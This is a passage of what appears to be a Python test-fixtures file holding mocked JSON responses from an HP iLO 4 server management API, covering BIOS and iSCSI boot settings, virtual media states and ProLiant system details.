"UefiShellBootOrder": "Disabled", "UefiShellStartup": "Disabled", "UefiShellStartupLocation": "Auto", "UefiShellStartupUrl": "", "UrlBootFile": "", "Usb3Mode": "Auto", "UsbBoot": "Enabled", "UsbControl": "UsbEnabled", "UtilityLang": "English", "VideoOptions": "BothVideoEnabled", "VirtualInstallDisk": "Disabled", "VirtualSerialPort": "Com2Irq3", "VlanControl": "Disabled", "VlanId": 0, "VlanPriority": 0, "WakeOnLan": "Enabled" } """ GET_ISCSI_PATCH = """ { "iSCSIBootSources": [ { "iSCSIBootAttemptInstance": 1, "iSCSIBootAttemptName": "NicBoot1", "iSCSIBootLUN": "1", "iSCSINicSource": "NicBoot1", "iSCSITargetIpAddress": "10.10.1.30", "iSCSITargetName": "iqn.2011-07.com.example.server:test1", "iSCSITargetTcpPort": 3260 }, { "iSCSIBootAttemptInstance": 2, "iSCSIBootAttemptName": "NicBoot2", "iSCSIBootLUN": "1", "iSCSINicSource": "NicBoot2", "iSCSITargetIpAddress": "10.10.1.30", "iSCSITargetName": "iqn.2011-07.com.example.server:test1", "iSCSITargetTcpPort": 3260 }, { "iSCSIBootAttemptInstance": 3, "iSCSIBootAttemptName": "NicBoot3", "iSCSIBootLUN": "1", "iSCSINicSource": "NicBoot3", "iSCSITargetIpAddress": "10.10.1.30", "iSCSITargetName": "iqn.2011-07.com.example.server:test1", "iSCSITargetTcpPort": 3260 }, { "iSCSIBootAttemptInstance": 4, "iSCSIBootAttemptName": "NicBoot4", "iSCSIBootLUN": "1", "iSCSINicSource": "NicBoot4", "iSCSITargetIpAddress": "10.10.1.30", "iSCSITargetName": "iqn.2011-07.com.example.server:test1", "iSCSITargetTcpPort": 3260 } ] } """ GET_ISCSI_SETTINGS = """ { "AttributRegistry": "HpBiosAttributeRegistryP89.1.1.00", "Description": "This is the Server iSCSI Software Initiator Current \ Settings", "Modified": "2015-05-28T04:11:55+00:00", "Name": "iSCSI Software Initiator Current Settings", "SettingsResult": { "ETag": "D43535CE", "Messages": [ { "MessageArgs": [ "iSCSITargetTcpport" ], "MessageID": "Base.1.0:PropertyUnknown" }, { "MessageArgs": [], "MessageID": "Base.1.0:Success" } ], "Time": "2015-05-28T04:11:55+00:00" }, "Type": "HpiSCSISoftwareInitiator.1.0.0", "iSCSIBootSources": [ { "StructuredBootString": "NIC.LOM.1.1.iSCSI", "UEFIDevicePath": null, "iSCSIAuthenticationMethod": "None", "iSCSIBootAttemptInstance": 1, "iSCSIBootAttemptName": "NicBoot1", "iSCSIBootEnable": "Enabled", "iSCSIBootLUN": "1", "iSCSIChapSecret": null, "iSCSIChapType": "OneWay", "iSCSIChapUsername": null, "iSCSIConnectRetry": 0, "iSCSIConnectTimeoutMS": 1000, "iSCSIInitiatorGateway": "0.0.0.0", "iSCSIInitiatorInfoViaDHCP": true, "iSCSIInitiatorIpAddress": "0.0.0.0", "iSCSIInitiatorNetmask": "0.0.0.0", "iSCSIIpAddressType": "IPv4", "iSCSINicSource": "NicBoot1", "iSCSIReverseChapSecret": null, "iSCSIReverseChapUsername": null, "iSCSITargetInfoViaDHCP": false, "iSCSITargetIpAddress": "10.10.1.38", "iSCSITargetName": "iqn.2014-07.com.tecmint:tgt1", "iSCSITargetTcpPort": 3260 }, { "StructuredBootString": "NIC.LOM.1.1.iSCSI", "UEFIDevicePath": null, "iSCSIAuthenticationMethod": "None", "iSCSIBootAttemptInstance": 0, "iSCSIBootAttemptName": "test2", "iSCSIBootEnable": "Enabled", "iSCSIBootLUN": "1", "iSCSIChapSecret": null, "iSCSIChapType": "OneWay", "iSCSIChapUsername": null, "iSCSIConnectRetry": 0, "iSCSIConnectTimeoutMS": 1000, "iSCSIInitiatorGateway": "0.0.0.0", "iSCSIInitiatorInfoViaDHCP": true, "iSCSIInitiatorIpAddress": "0.0.0.0", "iSCSIInitiatorNetmask": "0.0.0.0", "iSCSIIpAddressType": "IPv4", "iSCSINicSource": "NicBoot1", "iSCSIReverseChapSecret": null, "iSCSIReverseChapUsername": null, "iSCSITargetInfoViaDHCP": false, "iSCSITargetIpAddress": "10.10.1.38", "iSCSITargetName": "iqn.2014-07.com.tecmint:tgt1", "iSCSITargetTcpPort": 3260 }, { "StructuredBootString": null, "UEFIDevicePath": null, "iSCSIAuthenticationMethod": "None", "iSCSIBootAttemptInstance": 0, "iSCSIBootAttemptName": "", "iSCSIBootEnable": "Disabled", "iSCSIBootLUN": "0", "iSCSIChapSecret": null, "iSCSIChapType": "OneWay", "iSCSIChapUsername": null, "iSCSIConnectRetry": 0, "iSCSIConnectTimeoutMS": 100, "iSCSIInitiatorGateway": "0.0.0.0", "iSCSIInitiatorInfoViaDHCP": true, "iSCSIInitiatorIpAddress": "0.0.0.0", "iSCSIInitiatorNetmask": "0.0.0.0", "iSCSIIpAddressType": "IPv4", "iSCSINicSource": null, "iSCSIReverseChapSecret": null, "iSCSIReverseChapUsername": null, "iSCSITargetInfoViaDHCP": true, "iSCSITargetIpAddress": "0.0.0.0", "iSCSITargetName": null, "iSCSITargetTcpPort": 0 }, { "StructuredBootString": null, "UEFIDevicePath": null, "iSCSIAuthenticationMethod": "None", "iSCSIBootAttemptInstance": 0, "iSCSIBootAttemptName": "", "iSCSIBootEnable": "Disabled", "iSCSIBootLUN": "0", "iSCSIChapSecret": null, "iSCSIChapType": "OneWay", "iSCSIChapUsername": null, "iSCSIConnectRetry": 0, "iSCSIConnectTimeoutMS": 100, "iSCSIInitiatorGateway": "0.0.0.0", "iSCSIInitiatorInfoViaDHCP": true, "iSCSIInitiatorIpAddress": "0.0.0.0", "iSCSIInitiatorNetmask": "0.0.0.0", "iSCSIIpAddressType": "IPv4", "iSCSINicSource": null, "iSCSIReverseChapSecret": null, "iSCSIReverseChapUsername": null, "iSCSITargetInfoViaDHCP": true, "iSCSITargetIpAddress": "0.0.0.0", "iSCSITargetName": null, "iSCSITargetTcpPort": 0 } ], "iSCSIInitiatorName": "iqn.1986-03.com.hp:uefi-p89-mxq45006w5", "iSCSINicSources": [ "NicBoot1", "NicBoot2", "NicBoot3", "NicBoot4" ], "links": { "BaseConfigs": { "href": "/rest/v1/systems/1/bios/iScsi/BaseConfigs" }, "Mappings": { "href": "/rest/v1/systems/1/bios/Mappings" }, "Settings": { "href": "/rest/v1/systems/1/bios/iScsi/Settings" }, "self": { "href": "/rest/v1/systems/1/bios/iScsi" } } } """ RESP_VM_STATUS_FLOPPY_EMPTY = """ { "Description": "Virtual Removable Media", "links": { "self": { "href": "/rest/v1/Managers/1/VirtualMedia/1" } }, "Type": "VirtualMedia.0.9.5", "Image": "", "ConnectedVia": "NotConnected", "MediaTypes": [ "Floppy", "USBStick" ], "WriteProtected": false, "Inserted": false, "Name": "VirtualMedia" } """ GET_VM_STATUS_FLOPPY_EMPTY = """ { "WRITE_PROTECT": "NO", "VM_APPLET": "DISCONNECTED", "IMAGE_URL": "", "BOOT_OPTION": "NO_BOOT", "DEVICE": "FLOPPY", "IMAGE_INSERTED": "NO" } """ RESP_VM_STATUS_FLOPPY_INSERTED = """ { "ImageName": "floppy.iso", "Description": "Virtual Removable Media", "links": { "self": { "href": "/rest/v1/Managers/1/VirtualMedia/1" } }, "Type": "VirtualMedia.0.9.5", "Image": "http://1.1.1.1/floppy.iso", "ConnectedVia": "URI", "MediaTypes": [ "Floppy", "USBStick" ], "WriteProtected": true, "Inserted": true, "Name": "VirtualMedia" } """ GET_VM_STATUS_FLOPPY_INSERTED = """ { "WRITE_PROTECT": "YES", "VM_APPLET": "CONNECTED", "IMAGE_URL": "http://1.1.1.1/floppy.iso", "BOOT_OPTION": "BOOT_ALWAYS", "DEVICE": "FLOPPY", "IMAGE_INSERTED": "YES" } """ RESP_VM_STATUS_CDROM_INSERTED = """ { "Description": "Virtual Removable Media", "links": { "self": {"href": "/rest/v1/Managers/1/VirtualMedia/2" } }, "Type": "VirtualMedia.0.9.5", "Image": "http://foo/foo", "ConnectedVia": "NotConnected", "MediaTypes": [ "CD", "DVD" ], "Oem": { "Hp": { "Type": "HpiLOVirtualMedia.0.9.5", "BootOnNextServerReset": false } }, "WriteProtected": true, "Inserted": true, "Name": "VirtualMedia" } """ RESP_VM_STATUS_CDROM_EMPTY = """ { "Description": "Virtual Removable Media", "links": { "self": {"href": "/rest/v1/Managers/1/VirtualMedia/2" } }, "Type": "VirtualMedia.0.9.5", "Image": "", "ConnectedVia": "NotConnected", "MediaTypes": [ "CD", "DVD" ], "Oem": { "Hp": { "Type": "HpiLOVirtualMedia.0.9.5", "BootOnNextServerReset": false } }, "WriteProtected": true, "Inserted": false, "Name": "VirtualMedia" } """ GET_VM_STATUS_CDROM_EMPTY = """ { "WRITE_PROTECT": "YES", "VM_APPLET": "DISCONNECTED", "IMAGE_URL": "", "BOOT_OPTION": "NO_BOOT", "DEVICE": "CDROM", "IMAGE_INSERTED": "NO"} """ RESP_VM_STATUS_CDROM_INSERTED = """ { "ImageName": "cdrom.iso", "Description": "Virtual Removable Media", "links": {"self": {"href": "/rest/v1/Managers/1/VirtualMedia/2"}}, "Type": "VirtualMedia.0.9.5", "Image": "http://1.1.1.1/cdrom.iso", "ConnectedVia": "URI", "MediaTypes": [ "CD", "DVD" ], "Oem": { "Hp": { "Type": "HpiLOVirtualMedia.0.9.5", "BootOnNextServerReset": false } }, "WriteProtected": true, "Inserted": true, "Name": "VirtualMedia" } """ GET_VM_STATUS_CDROM_INSERTED = """ { "WRITE_PROTECT": "YES", "VM_APPLET": "CONNECTED", "IMAGE_URL": "http://1.1.1.1/cdrom.iso", "BOOT_OPTION": "BOOT_ALWAYS", "DEVICE": "CDROM", "IMAGE_INSERTED": "YES" } """ PATCH_VM_CDROM = """ { "Oem": { "Hp": { "BootOnNextServerReset": true } } } """ GET_MANAGER_DETAILS_NO_VMEDIA = """ { "AvailableActions": [ { "Action": "Reset" } ], "CommandShell": { "ConnectTypesSupported": [ "SSH", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 9 }, "Description": "Manager View", "Firmware": { "Current": { "VersionString": "iLO 4 v2.20" } }, "GraphicalConsole": { "ConnectTypesSupported": [ "KVMIP" ], "Enabled": true, "MaxConcurrentSessions": 10 }, "ManagerType": "BMC", "Model": "iLO 4", "Name": "Manager", "Oem": { "Hp": { "AvailableActions": [ { "Action": "ResetRestApiState", "Capabilities": [ { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "FederationConfig": { "IPv6MulticastScope": "Site", "MulticastAnnouncementInterval": 600, "MulticastDiscovery": "Enabled", "MulticastTimeToLive": 5, "iLOFederationManagement": "Enabled" }, "Firmware": { "Current": { "Date": "Feb 09 2015", "DebugBuild": false, "MajorVersion": 2, "MinorVersion": 20, "Time": "", "VersionString": "iLO 4 v2.20" } }, "License": { "LicenseKey": "32Q6W-PQWTB-H7XYL-39968-RR53R", "LicenseString": "iLO 4 Advanced", "LicenseType": "Perpetual" }, "RequiredLoginForiLORBSU": false, "SerialCLISpeed": 9600, "SerialCLIStatus": "EnabledAuthReq", "Type": "HpiLO.0.13.0", "VSPLogDownloadEnabled": false, "iLOSelfTestResults": [ { "Notes": "", "SelfTestName": "NVRAMData", "Status": "OK" }, { "Notes": "Controller firmware revision 2.09.00 ", "SelfTestName": "EmbeddedFlash/SDCard", "Status": "OK" }, { "Notes": "", "SelfTestName": "EEPROM", "Status": "OK" }, { "Notes": "", "SelfTestName": "HostRom", "Status": "OK" }, { "Notes": "", "SelfTestName": "SupportedHost", "Status": "OK" }, { "Notes": "ProLiant BL460c Gen9 System Programmable \ Logic Device version 0x13", "SelfTestName": "CPLDPAL0", "Status": "Informational" }, { "Notes": "ProLiant BL460c Gen9 SAS Programmable \ Logic Device version 0x01", "SelfTestName": "CPLDPAL1", "Status": "Informational" } ], "links": { "ActiveHealthSystem": { "href": "/rest/v1/Managers/1/ActiveHealthSystem" }, "DateTimeService": { "href": "/rest/v1/Managers/1/DateTime" }, "EmbeddedMediaService": { "href": "/rest/v1/Managers/1/EmbeddedMedia" }, "FederationDispatch": { "extref": "/dispatch" }, "FederationGroups": { "href": "/rest/v1/Managers/1/FederationGroups" }, "FederationPeers": { "href": "/rest/v1/Managers/1/FederationPeers" }, "LicenseService": { "href": "/rest/v1/Managers/1/LicenseService" }, "UpdateService": { "href": "/rest/v1/Managers/1/UpdateService" }, "VSPLogLocation": { "extref": "/sol.log.gz" } } } }, "SerialConsole": { "ConnectTypesSupported": [ "SSH", "IPMI", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 13 }, "Status": { "State": "Enabled" }, "Type": "Manager.0.10.0", "UUID": "83590768-e977-575a-927a-b3de8f692d4f", "links": { "EthernetNICs": { "href": "/rest/v1/Managers/1/NICs" }, "Logs": { "href": "/rest/v1/Managers/1/Logs" }, "ManagerForServers": [ { "href": "/rest/v1/Systems/1" } ], "NetworkService": { "href": "/rest/v1/Managers/1/NetworkService" }, "self": { "href": "/rest/v1/Managers/1" } } } """ RESP_VM_STATUS_CDROM_MISSING = """ { "Description": "Virtual Removable Media", "links": { "self": {"href": "/rest/v1/Managers/1/VirtualMedia/2" } }, "Type": "VirtualMedia.0.9.5", "Image": "", "ConnectedVia": "NotConnected", "MediaTypes": [ "DVD" ], "Oem": { "Hp": { "Type": "HpiLOVirtualMedia.0.9.5", "BootOnNextServerReset": false } }, "WriteProtected": true, "Inserted": false, "Name": "VirtualMedia" } """ RESP_BODY_FOR_SYSTEM_WITH_CDROM = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Boot": { "BootSourceOverrideEnabled": "Once", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "Cd", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "CD.Virtual.2.1" ] }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" } ], "self": { "href": "/rest/v1/Systems/1" } } } """ RESP_BODY_WITH_UEFI_SHELL = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Boot": { "BootSourceOverrideEnabled": "Once", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "UefiShell", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "CD.Virtual.2.1" ] }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" } ], "self": { "href": "/rest/v1/Systems/1" } } } """ RESP_BODY_FOR_SYSTEM_WITHOUT_BOOT = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" } ], "self": { "href": "/rest/v1/Systems/1" } } } """ SYSTEM_WITH_CDROM_CONT = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Boot": { "BootSourceOverrideEnabled": "Continuous", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "Cd", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "CD.Virtual.2.1" ] }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" } ], "self": { "href": "/rest/v1/Systems/1" } } } """ SYSTEM_WITH_UEFISHELL_CONT = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Boot": { "BootSourceOverrideEnabled": "Continuous", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "UefiShell", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "CD.Virtual.2.1" ] }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" 